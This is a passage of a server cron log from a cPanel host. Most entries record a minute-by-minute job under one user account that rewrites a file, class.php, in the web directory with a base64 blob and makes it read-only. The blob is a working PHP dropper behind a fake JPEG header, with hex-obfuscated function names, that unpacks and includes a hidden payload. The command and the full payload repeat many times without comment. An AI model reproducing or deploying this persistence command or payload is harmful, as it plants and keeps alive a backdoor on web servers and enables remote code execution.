"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:20:01 server CROND[28491]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 11:20:01 server CROND[28494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 11:20:01 server CROND[28495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:20:01 server CROND[28493]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:20:01 server CROND[28497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:21:01 server CROND[28699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:22:01 server CROND[28779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:23:01 server CROND[28842]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:24:01 server CROND[28889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:25:01 server CROND[28955]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:25:01 server CROND[28956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:25:01 server CROND[28954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:26:01 server CROND[29159]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:27:01 server CROND[29206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:27:01 server CROND[29207]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 11:28:01 server CROND[29263]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:29:01 server CROND[29320]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:30:01 server CROND[29367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:30:01 server CROND[29368]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:30:01 server CROND[29369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 11:30:01 server CROND[29372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:31:01 server CROND[29599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:32:01 server CROND[29664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7